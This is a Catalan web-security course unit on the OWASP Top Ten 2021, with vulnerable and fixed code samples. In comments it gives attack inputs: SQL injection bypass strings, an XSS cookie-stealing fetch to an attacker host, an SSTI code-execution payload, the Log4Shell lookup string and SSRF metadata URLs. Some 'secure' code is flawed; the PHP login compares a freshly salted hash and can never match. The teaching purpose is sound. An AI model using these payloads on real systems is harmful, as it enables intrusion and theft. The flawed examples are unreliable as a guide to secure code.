Salta el contingut

Vulnerabilitats Web: OWASP Top Ten

Proposta didàctica

En aquest bloc estudiem les 10 vulnerabilitats web més crítiques segons l'OWASP Top Ten 2021, amb exemples de codi vulnerable, remediació i casos reals documentats amb CVEs.

Criteris d'avaluació

  • CA3.1 Validació d'entrades d'usuari com a mesura preventiva.
  • CA3.2 Detecció de riscos d'injecció (SQL, XSS, SSTI).
  • CA3.3 Gestió correcta de sessions d'usuari.
  • CA3.4 Control d'accés per rols (RBAC).
  • CA3.5 Emmagatzematge segur de contrasenyes (bcrypt, Argon2).
  • CA3.6 Configuració segura de servidors web.
  • CA3.7 Contramesures contra bots (CAPTCHAs, rate limiting).

Continguts de referència

  1. A01: Broken Access Control
  2. A02: Cryptographic Failures
  3. A03: Injection (SQL, XSS, SSTI, LDAP)
  4. A04: Insecure Design
  5. A05: Security Misconfiguration
  6. A06: Vulnerable and Outdated Components
  7. A07: Identification and Authentication Failures
  8. A08: Software and Data Integrity Failures
  9. A09: Security Logging and Monitoring Failures
  10. A10: Server-Side Request Forgery (SSRF)

Questionari inicial del bloc

  1. Quina és la vulnerabilitat número 1 de l'OWASP Top Ten 2021?
  2. Que és una SQL Injection i com funciona?
  3. Quina diferència hi ha entre XSS reflectit i XSS emmagatzemat?
  4. Per que és perillós guardar contrasenyes en text pla?
  5. Que és el CSRF (Cross-Site Request Forgery)?
  6. Que és l'IDOR (Insecure Direct Object Reference)?
  7. Que és una configuració per defecte insegura i per que és problemàtica?
  8. Per que cal actualitzar les dependències de programari?
  9. Que és un atac a la cadena de subministrament?
  10. Que és el SSRF (Server-Side Request Forgery)?

A01: Broken Access Control

Descripció

El control d'accés trencat és la vulnerabilitat més prevalent de 2021, present en el 94% de les aplicacions testades. Ocorre quan els usuaris poden actuar fora dels seus permisos previstos.

Exemples comuns: - IDOR (Insecure Direct Object Reference): accedir a recursos d'altres usuaris - Escalada de privilegis: accedir a pàgines d'admin sense ser admin - Modificació d'URLs per accedir a dades d'altres usuaris

CVE Real

CVE-2019-11571 — Facebook IDOR: El 2019, investigadors van descobrir que canviant l'ID d'usuari en les crides a l'API de Facebook era possible accedir a les fotos privades d'altres usuaris. Facebook va pagar $25,000 a través del seu programa de Bug Bounty.

Codi vulnerable — IDOR

# Flask - VULNERABLE: No verifica que el document pertany a l'usuari
@app.route('/documents/<int:doc_id>')
@login_required
def veure_document(doc_id):
    # PERILL: No valida si doc_id pertany a l'usuari actual!
    document = Document.query.get(doc_id)
    if document is None:
        abort(404)
    return render_template('document.html', doc=document)

# Atac: Un usuari amb id=5 accedeix a /documents/1, /documents/2...
# i pot llegir els documents de tots els usuaris

Remediació — IDOR

# Flask - SEGUR: Verifica que el document pertany a l'usuari actual
from flask_login import current_user

@app.route('/documents/<int:doc_id>')
@login_required
def veure_document(doc_id):
    # Filtrar per l'usuari actual a la pròpia query
    document = Document.query.filter_by(
        id=doc_id,
        user_id=current_user.id  # Garantir que el document és de l'usuari
    ).first()

    if document is None:
        # No revelar si el document existeix o no (evitar enumeració)
        abort(404)

    return render_template('document.html', doc=document)

Codi vulnerable — Escalada de privilegis

// Express.js - VULNERABLE: Control d'accés basat en client
app.get('/admin/usuaris', (req, res) => {
    // PERILL: La verificació d'admin es fa al client (cookie no verificada)
    if (req.cookies.isAdmin === 'true') {
        return res.json(await User.findAll());
    }
    res.status(403).json({ error: 'Accés denegat' });
});
// Atac: Qualsevol usuari pot enviar la cookie isAdmin=true

Remediació — RBAC

// Express.js - SEGUR: Control d'accés basat en rols al servidor
const jwt = require('jsonwebtoken');

// Middleware de verificació de rol
function requireRole(role) {
    return (req, res, next) => {
        const token = req.headers.authorization?.split(' ')[1];
        if (!token) return res.status(401).json({ error: 'No autenticat' });

        try {
            const payload = jwt.verify(token, process.env.JWT_SECRET);
            if (payload.role !== role) {
                return res.status(403).json({ error: 'Accés denegat' });
            }
            req.user = payload;
            next();
        } catch (e) {
            return res.status(401).json({ error: 'Token invàlid' });
        }
    };
}

// Aplicar el middleware: el rol és verificat al servidor
app.get('/admin/usuaris', requireRole('admin'), async (req, res) => {
    const usuaris = await User.findAll();
    res.json(usuaris);
});

A02: Cryptographic Failures

Descripció

Anteriorment coneguda com Sensitive Data Exposure, cobreix els errors relacionats amb la criptografia que exposen dades sensibles: contrasenyes, dades de targetes, informació mèdica.

Errors comuns: - Transmissió de dades sensibles en text pla (HTTP en lloc de HTTPS) - Ús d'algoritmes criptogràfics febles (MD5, SHA-1, DES) - Emmagatzematge de contrasenyes en text pla o amb hash feble - Claus criptogràfiques hardcoded en el codi - Vectors d'inicialització (IV) reutilitzats

CVE Real

CVE-2014-0160 — Heartbleed (OpenSSL): El bug Heartbleed va permetre llegir la memòria del servidor, incloent claus privades SSL, contrasenyes i cookies de sessió. Va afectar el 17% de tots els servidors web segurs (500.000 servidors) el 2014.

Codi vulnerable — Hash feble

import hashlib

# VULNERABLE: MD5 per a contrasenyes
def guardar_contrasenya(contrasenya):
    hash_md5 = hashlib.md5(contrasenya.encode()).hexdigest()
    # MD5 és trencable en mil·lisegons amb taules rainbow!
    return hash_md5

# VULNERABLE: SHA-1 (també considerat trencat per a contrasenyes)
def guardar_contrasenya_sha1(contrasenya):
    hash_sha1 = hashlib.sha1(contrasenya.encode()).hexdigest()
    return hash_sha1

Remediació — Argon2id

from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

# SEGUR: Argon2id és l'algoritme recomanat per l'OWASP (2024)
# Paràmetres recomanats: memory=64MB, iterations=3, parallelism=4
ph = PasswordHasher(
    time_cost=3,         # Iteracions
    memory_cost=65536,   # 64 MB
    parallelism=4,       # Fils paral·lels
    hash_len=32,         # Longitud del hash
    salt_len=16          # Salt aleatori automàtic
)

def guardar_contrasenya(contrasenya: str) -> str:
    """Genera un hash segur de la contrasenya."""
    return ph.hash(contrasenya)

def verificar_contrasenya(hash_guardat: str, contrasenya: str) -> bool:
    """Verifica una contrasenya contra el seu hash."""
    try:
        ph.verify(hash_guardat, contrasenya)
        # Actualitzar el hash si els paràmetres han canviat
        if ph.check_needs_rehash(hash_guardat):
            nou_hash = ph.hash(contrasenya)
            actualitzar_hash_bbdd(nou_hash)
        return True
    except VerifyMismatchError:
        return False

# Alternativa: bcrypt (àmpliament suportat)
import bcrypt

def guardar_contrasenya_bcrypt(contrasenya: str) -> bytes:
    salt = bcrypt.gensalt(rounds=12)  # Cost factor 12 recomanat
    return bcrypt.hashpw(contrasenya.encode(), salt)

def verificar_contrasenya_bcrypt(hash_guardat: bytes, contrasenya: str) -> bool:
    return bcrypt.checkpw(contrasenya.encode(), hash_guardat)

A03: Injection

Descripció

Les injeccions ocorren quan dades no confiables s'envien a un intèrpret com a part d'una comanda o consulta. Els atacs d'injecció inclouen SQLi, NoSQLi, XSS, LDAP, SSTI i molts més.

flowchart TD
    A[Entrada d'Usuari] --> B{Validació?}
    B -->|No| C[Injecció Possible]
    B -->|Sí| D[Processament Segur]

    C --> E[SQL Injection]
    C --> F[XSS]
    C --> G[SSTI]
    C --> H[LDAP Injection]
    C --> I[Command Injection]

    E --> J[Pèrdua de dades\nBypass autenticació]
    F --> K[Robatori de cookies\nDesfiguració web]
    G --> L[Execució de codi\nal servidor]

SQL Injection

La SQL Injection és un dels atacs més antics i devastadors. Permet manipular les consultes SQL de l'aplicació.

Codi vulnerable — SQL Injection

<?php
// VULNERABLE: Concatenació directa d'entrada d'usuari en SQL
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
    echo "Login correcte!";
}

// Atac 1: Bypass d'autenticació
// username: admin'--
// La consulta es converteix en:
// SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
// El '--' comenta la resta → el login sempre funciona!

// Atac 2: UNION-based exfiltration
// username: ' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables--
?>

Remediació — Prepared Statements

<?php
// SEGUR: Prepared Statements amb paràmetres lligats
$username = $_POST['username'];
$password = $_POST['password'];

// Preparar la consulta amb placeholders
$stmt = $conn->prepare("SELECT id, username, role FROM users WHERE username = ? AND password_hash = ?");

// Hash segur de la contrasenya
$password_hash = password_hash($password, PASSWORD_ARGON2ID);

// Lligar els paràmetres (no s'interpreta com SQL mai)
$stmt->bind_param("ss", $username, $password_hash);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) {
    $user = $result->fetch_assoc();
    $_SESSION['user_id'] = $user['id'];
    $_SESSION['role'] = $user['role'];
    echo "Login correcte!";
} else {
    echo "Credencials incorrectes";
}

$stmt->close();
?>
# Python amb SQLAlchemy ORM - SEGUR
from sqlalchemy.orm import Session

def login_segur(db: Session, username: str, password: str):
    # SQLAlchemy usa prepared statements automàticament
    usuari = db.query(User).filter(
        User.username == username  # Parameteritzat automàticament
    ).first()

    if usuari and verify_password(password, usuari.password_hash):
        return usuari
    return None

XSS — Cross-Site Scripting

L'XSS permet injectar codi JavaScript maliciós que s'executa en el navegador d'altres usuaris.

Tipus d'XSS:

Tipus Descripció Persistència
Reflected XSS El payload es reflecteix en la resposta HTTP No persistent
Stored XSS El payload es guarda a la base de dades Persistent
DOM-based XSS El payload es processa al DOM del navegador Variable

Codi vulnerable — Stored XSS

# Flask - VULNERABLE: Guardar i mostrar comentaris sense sanititzar
@app.route('/comentari', methods=['POST'])
def nou_comentari():
    contingut = request.form['contingut']  # NO sanititzat
    db.execute(
        "INSERT INTO comentaris (contingut, autor) VALUES (?, ?)",
        (contingut, current_user.username)
    )
    return redirect('/')

@app.route('/')
def inici():
    comentaris = db.execute("SELECT * FROM comentaris").fetchall()
    # VULNERABLE: Jinja2 amb | safe desactiva l'escapament!
    return render_template('inici.html', comentaris=comentaris)

# En el template HTML:
# {{ comentari.contingut | safe }}  ← PERILL!

# Atac: L'usuari envia com a comentari:
# <script>fetch('https://atacant.com/steal?c='+document.cookie)</script>
# Quan altres usuaris carreguen la pàgina, el codi s'executa i roba les cookies!

Remediació — Escapament + CSP

# Flask - SEGUR: Jinja2 escapa automàticament (per defecte)
from markupsafe import escape
import bleach

@app.route('/comentari', methods=['POST'])
def nou_comentari():
    contingut = request.form['contingut']

    # Netejar l'HTML: permetre només tags segurs
    TAGS_PERMESOS = ['b', 'i', 'em', 'strong', 'p', 'br']
    ATRIBUTS_PERMESOS = {}
    contingut_net = bleach.clean(
        contingut,
        tags=TAGS_PERMESOS,
        attributes=ATRIBUTS_PERMESOS,
        strip=True
    )

    db.execute(
        "INSERT INTO comentaris (contingut, autor) VALUES (?, ?)",
        (contingut_net, current_user.username)
    )
    return redirect('/')

# En el template: {{ comentari.contingut }} ← Jinja2 escapa automàticament
# NO usar | safe tret que estiguis 100% segur que el contingut és segur
# Afegir capçaleres de seguretat CSP
from flask import Flask, make_response

@app.after_request
def afegir_headers_seguretat(response):
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "     # Bloquejar scripts externs
        "style-src 'self'; "
        "img-src 'self' data:; "
        "frame-ancestors 'none'"  # Anti-clickjacking
    )
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    return response

SSTI — Server-Side Template Injection

L'SSTI ocorre quan el motor de templates processa entrada d'usuari com a codi de template.

CVE Real: CVE-2019-8341 — Jinja2 SSTI in Flask-Security: Diverses aplicacions Flask eren vulnerables a SSTI a través de camps de formulari que s'inserien directament en templates Jinja2.

Codi vulnerable — SSTI Jinja2

# Flask - VULNERABLE: Renderitzar input d'usuari com a template
from flask import render_template_string

@app.route('/benvinguda')
def benvinguda():
    nom = request.args.get('nom', 'Usuari')
    # PERILL: render_template_string executa el template!
    template = f"<h1>Benvingut/da, {nom}!</h1>"
    return render_template_string(template)

# Atac: GET /benvinguda?nom={{7*7}}
# Resposta: <h1>Benvingut/da, 49!</h1>  ← El servidor ha executat l'expressió!

# Atac avançat (RCE): nom={{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Remediació — SSTI

# Flask - SEGUR: Usar variables de context, no interpolació directa
from markupsafe import escape

@app.route('/benvinguda')
def benvinguda():
    nom = request.args.get('nom', 'Usuari')
    # Escapar i passar com a variable, mai interpolant
    nom_segur = escape(nom)  # Escapa caràcters especials HTML
    return render_template(
        'benvinguda.html',
        nom=nom_segur       # La variable es passa de forma segura
    )

# En benvinguda.html:
# <h1>Benvingut/da, {{ nom }}</h1>
# Jinja2 no interpreta {{ nom }} com a codi sinó com a variable

A04: Insecure Design

Descripció

El disseny insegur cobreix els riscos relacionats amb les deficiències en el disseny i arquitectura. Un disseny insegur no es pot corregir amb una implementació perfecta.

Exemples: - No considerar atacs de força bruta en el disseny del flux de login - No aplicar el principi de mínim privilegi en el disseny de l'arquitectura - Funcionalitats de recuperació de contrasenya que revelen informació

Miniactivitat: Disseny Segur

Analitza el següent flux de recuperació de contrasenya i identifica els problemes de disseny:

1. Usuari va a /recuperar-contrasenya
2. Introdueix el seu email
3. Sistema pregunta: "Quin és el nom de la teva mascota?"
4. Si la resposta és correcta, mostra la contrasenya en text pla
5. L'usuari veu la seva contrasenya

Problemes a identificar: - Per que les preguntes de seguretat són insegures? - Per que mostrar la contrasenya en text pla indica un problema greu? - Com hauria de ser un flux de recuperació segur?


A05: Security Misconfiguration

Descripció

La mala configuració de seguretat inclou permisos mal configurats, funcionalitats innecessàries habilitades, comptes per defecte, missatges d'error que revelen informació.

Exemples reals: - Interfícies d'administració exposades a Internet (phpMyAdmin, Adminer) - Credencials per defecte: admin/admin, root/root - Directory listing habilitat (permet veure tots els fitxers) - Capçaleres HTTP de seguretat absents

Configuració vulnerable — Apache

# Apache - VULNERABLE: Configuració per defecte insegura

# Mostra la versió d'Apache i del SO - informació per a l'atacant
ServerTokens Full
ServerSignature On

# Directory listing activat - qualsevol pot veure els fitxers!
<Directory /var/www/html>
    Options Indexes FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

Remediació — Apache

# Apache - SEGUR: Configuració enduïda

# Ocultar informació de versió
ServerTokens Prod
ServerSignature Off

# Desactivar directory listing
<Directory /var/www/html>
    Options -Indexes -FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

# Capçaleres de seguretat
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set X-XSS-Protection "1; mode=block"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
Header always set Content-Security-Policy "default-src 'self'"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"

# Desactivar mètodes HTTP innecessaris
<LimitExcept GET POST HEAD>
    Require all denied
</LimitExcept>

A06: Vulnerable and Outdated Components

Descripció

L'ús de components vulnerables inclou frameworks, biblioteques i dependències amb vulnerabilitats conegudes.

CVE Real

CVE-2021-44228 — Log4Shell: La vulnerabilitat en Apache Log4j 2.x va permetre l'execució de codi remot a través d'una simple cadena de text en els logs. El payload ${jndi:ldap://atacant.com/exploit} escrit en qualsevol camp de log va ser suficient per comprometre sistemes de tot el món el desembre de 2021.

# Detectar Log4j vulnerable amb Trivy
docker run --rm aquasec/trivy image aplicacio:latest

# Comprovar dependències Python
pip audit

# Comprovar dependències Node.js
npm audit

# Comprovar dependències Maven
mvn dependency-check:check

# Actualitzar dependències Node.js
npm update
npm audit fix

Miniactivitat: Auditoria de Dependències

  1. Crea un requirements.txt amb aquestes dependències (intencionadament vulnerables):

    Django==2.0.0
    Pillow==5.0.0
    requests==2.6.0
    PyYAML==3.0
    

  2. Executa pip audit i documenta les vulnerabilitats trobades

  3. Utilitza Snyk o Safety per obtenir més detalls:

    pip install safety
    safety check -r requirements.txt
    

  4. Actualitza les dependències a versions segures i verifica que no hi ha vulnerabilitats


A07: Identification and Authentication Failures

Descripció

Inclou errors en la gestió d'identitats com: contrasenyes febles permeses, autenticació per força bruta sense límit, gestió insegura de sessions.

Rate Limiting i Anti-Bots

Codi vulnerable — Sense rate limiting

# Flask - VULNERABLE: Login sense rate limiting
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    user = User.query.filter_by(username=username).first()
    if user and check_password(password, user.password_hash):
        session['user_id'] = user.id
        return redirect('/dashboard')
    return "Login incorrecte", 401

# Atac: Un script pot provar milions de contrasenyes sense cap limitació
# Atac de diccionari: provar les 10.000 contrasenyes més comunes

Remediació — Rate Limiting + Bloqueig de compte

# Flask - SEGUR: Rate limiting amb Flask-Limiter + bloqueig temporal
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from datetime import datetime, timedelta
import redis

limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    storage_uri="redis://localhost:6379"
)

redis_client = redis.Redis(host='localhost', port=6379)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # Màxim 5 intents per minut per IP
def login():
    username = request.form['username']
    password = request.form['password']

    # Comprovar si el compte està bloquejat
    clau_bloqueig = f"compte_bloquejat:{username}"
    if redis_client.exists(clau_bloqueig):
        temps_restant = redis_client.ttl(clau_bloqueig)
        return f"Compte bloquejat. Torna a provar en {temps_restant}s", 429

    user = User.query.filter_by(username=username).first()

    if user and check_password(password, user.password_hash):
        # Reset comptador d'intents fallits
        redis_client.delete(f"intents_fallits:{username}")
        session.clear()
        session['user_id'] = user.id
        session['csrf_token'] = secrets.token_hex(32)
        return redirect('/dashboard')

    # Incrementar comptador d'intents fallits
    clau_intents = f"intents_fallits:{username}"
    intents = redis_client.incr(clau_intents)
    redis_client.expire(clau_intents, 300)  # 5 minuts

    if intents >= 5:
        # Bloquejar el compte durant 30 minuts
        redis_client.setex(clau_bloqueig, 1800, "bloquejat")

    # Temps constant de resposta per evitar timing attacks
    import time
    time.sleep(0.1)
    return "Credencials incorrectes", 401

Gestió Segura de Sessions

# Configuració segura de sessions en Flask
app.config.update(
    SECRET_KEY=secrets.token_hex(32),  # Clau forta i aleatoria
    SESSION_COOKIE_HTTPONLY=True,       # No accessible via JavaScript
    SESSION_COOKIE_SECURE=True,         # Només via HTTPS
    SESSION_COOKIE_SAMESITE='Strict',   # Protecció CSRF
    PERMANENT_SESSION_LIFETIME=timedelta(hours=2),  # Expiració
)

A08: Software and Data Integrity Failures

Descripció

Cobreix els casos on el codi i la infraestructura no protegeixen contra violacions d'integritat, incloent els atacs a la cadena de subministrament.

Cas Real: SolarWinds (2020)

L'atac SolarWinds va ser un dels atacs a la cadena de subministrament més sofisticats de la història:

sequenceDiagram
    participant AT as Atacant (APT29/Cozy Bear)
    participant SW as SolarWinds Build Server
    participant UPD as Update Server
    participant VIC as 18.000 Clients

    AT->>SW: Comprometer el servidor de build
    AT->>SW: Injectar backdoor SUNBURST en el codi font
    SW->>UPD: Build i signatura de l'actualització infectada
    UPD->>VIC: Distribució de l'actualització Orion (legítima i signada!)
    VIC->>AT: SUNBURST estableix connexió C2
    AT->>VIC: Accés persistent a xarxes governamentals i empreses Fortune 500

Impacte: Governs dels EUA (Treasury, Commerce, Homeland Security), Microsoft, Intel, Cisco i molts altres.

Com prevenir atacs a la cadena de subministrament

# Generar un Software Bill of Materials (SBOM)
syft imagen:etiqueta -o spdx-json > sbom.json

# Verificar la signatura d'una imatge amb Cosign (Sigstore)
cosign sign --key cosign.key my-registry.io/my-image:tag
cosign verify --key cosign.pub my-registry.io/my-image:tag

# Usar digest (hash) en lloc de tags en Docker (immutable)
# Vulnerble (el tag 'latest' pot canviar):
# FROM python:3.11
# Segur (el digest no canvia mai):
# FROM python:3.11@sha256:a7c5f16b5da2a29c8f9b452e3d74...

A09: Security Logging and Monitoring Failures

Descripció

La manca de logging i monitoratge adequats impedeix detectar breaches en curs, dificulta la resposta a incidents i afecta el compliment normatiu.

Que s'hauria de registrar: - Intents d'autenticació (èxits i fallades) - Errors de validació d'entrades - Accessos a dades sensibles - Canvis de configuració - Errors d'autorització

Configuració de Logging Segur

import logging
import json
from datetime import datetime

# Configuració de logging estructurat (JSON)
class JSONFormatter(logging.Formatter):
    def format(self, record):
        log_data = {
            'timestamp': datetime.utcnow().isoformat(),
            'level': record.levelname,
            'event': record.getMessage(),
            'module': record.module,
        }
        # Afegir context de seguretat si existeix
        if hasattr(record, 'user_id'):
            log_data['user_id'] = record.user_id
        if hasattr(record, 'ip'):
            log_data['ip'] = record.ip
        return json.dumps(log_data)

# Configurar el logger
logger = logging.getLogger('seguretat')
handler = logging.FileHandler('/var/log/app/security.log')
handler.setFormatter(JSONFormatter())
logger.addHandler(handler)
logger.setLevel(logging.INFO)

# Ús en el codi
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    ip = request.remote_addr

    try:
        user = autenticar(username, request.form['password'])
        logger.info(
            "Login exitós",
            extra={'user_id': user.id, 'ip': ip, 'event': 'LOGIN_SUCCESS'}
        )
        return redirect('/dashboard')
    except AuthenticationError:
        logger.warning(
            f"Intent de login fallat per a '{username}'",
            extra={'ip': ip, 'event': 'LOGIN_FAILURE'}
        )
        return "Credencials incorrectes", 401

A10: Server-Side Request Forgery (SSRF)

Descripció

L'SSRF ocorre quan una aplicació fa peticions HTTP a URLs proporcionades per l'usuari sense validació, permetent a l'atacant accedir a serveis interns.

Codi vulnerable — SSRF

import requests

# VULNERABLE: La URL la proporciona l'usuari
@app.route('/proxy')
def proxy():
    url = request.args.get('url')
    # PERILL: L'atacant pot accedir a serveis interns!
    resposta = requests.get(url, timeout=5)
    return resposta.text

# Atac 1: Accés a metadades cloud (AWS/GCP)
# GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Atac 2: Accés a serveis interns
# GET /proxy?url=http://192.168.1.1/admin
# GET /proxy?url=http://localhost:6379  (Redis sense auth)

# Atac 3: Port scanning de la xarxa interna
# GET /proxy?url=http://10.0.0.5:3306  (MySQL intern)

Remediació — SSRF

import requests
from urllib.parse import urlparse
import ipaddress

# Llista blanca de dominis permesos
DOMINIS_PERMESOS = {'api.externe-fiable.com', 'webhooks.exemple.com'}

# Rangs d'IP privades (RFC 1918)
RANGS_PRIVATS = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),  # Link-local (metadades cloud)
]

def es_url_segura(url: str) -> bool:
    """Verifica que la URL no apunta a recursos interns."""
    try:
        parsed = urlparse(url)

        # Només permetre HTTP/HTTPS
        if parsed.scheme not in ('http', 'https'):
            return False

        # Verificar llista blanca de dominis
        if parsed.hostname not in DOMINIS_PERMESOS:
            return False

        # Resoldre l'IP i verificar que no és privada
        import socket
        ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
        for rang in RANGS_PRIVATS:
            if ip in rang:
                return False

        return True
    except Exception:
        return False

@app.route('/proxy')
def proxy():
    url = request.args.get('url')

    if not url or not es_url_segura(url):
        return "URL no permesa", 400

    try:
        # Afegir timeout i desactivar redireccions automàtiques
        resposta = requests.get(url, timeout=5, allow_redirects=False)
        return resposta.text
    except requests.RequestException as e:
        return "Error en la petició", 500

Resum OWASP Top Ten 2021

Posició Vulnerabilitat CWEs associats Remediació clau
A01 Broken Access Control CWE-200, CWE-284 RBAC, validació servidor
A02 Cryptographic Failures CWE-259, CWE-327 Argon2id, TLS 1.3
A03 Injection CWE-89, CWE-79 Prepared statements, sanitització
A04 Insecure Design CWE-209, CWE-256 Threat modeling, Secure by design
A05 Security Misconfiguration CWE-16 Hardening, capçaleres seguretat
A06 Vulnerable Components CWE-1104 SCA, actualitzar deps
A07 Auth Failures CWE-287, CWE-384 MFA, rate limiting
A08 Integrity Failures CWE-502, CWE-829 SBOM, Sigstore
A09 Logging Failures CWE-778 SIEM, logging estructurat
A10 SSRF CWE-918 Llista blanca URLs

Activitats

  • AC510 (CA3.2) Laboratori SQL Injection amb SQLmap contra DVWA
  • AC511 (CA3.2) Laboratori XSS reflectit i emmagatzemat
  • AC512 (CA3.1, CA3.3) Anàlisi i millora de la gestió de sessions d'una app web
  • AC513 (CA3.4) Implementació de RBAC en una API REST
  • AC514 (CA3.5) Migrar una aplicació de MD5 a Argon2id
  • AC515 (CA3.6) Auditoria de capçaleres HTTP amb securityheaders.com
  • AC516 (CA3.7) Implementació de rate limiting amb Redis

Projecte del Bloc

  • PR503 (CA3.1–CA3.7) Pràctica WebGoat: Explotació i remediació del Top Ten

Ampliacions

  • AP505 Explotació avançada: SQL Injection Blind i Time-Based
  • AP506 Atac i defensa CSRF: implementació de tokens anti-CSRF
  • AP507 Análisi de l'incident Equifax (CVE-2017-5638) i lliçons apreses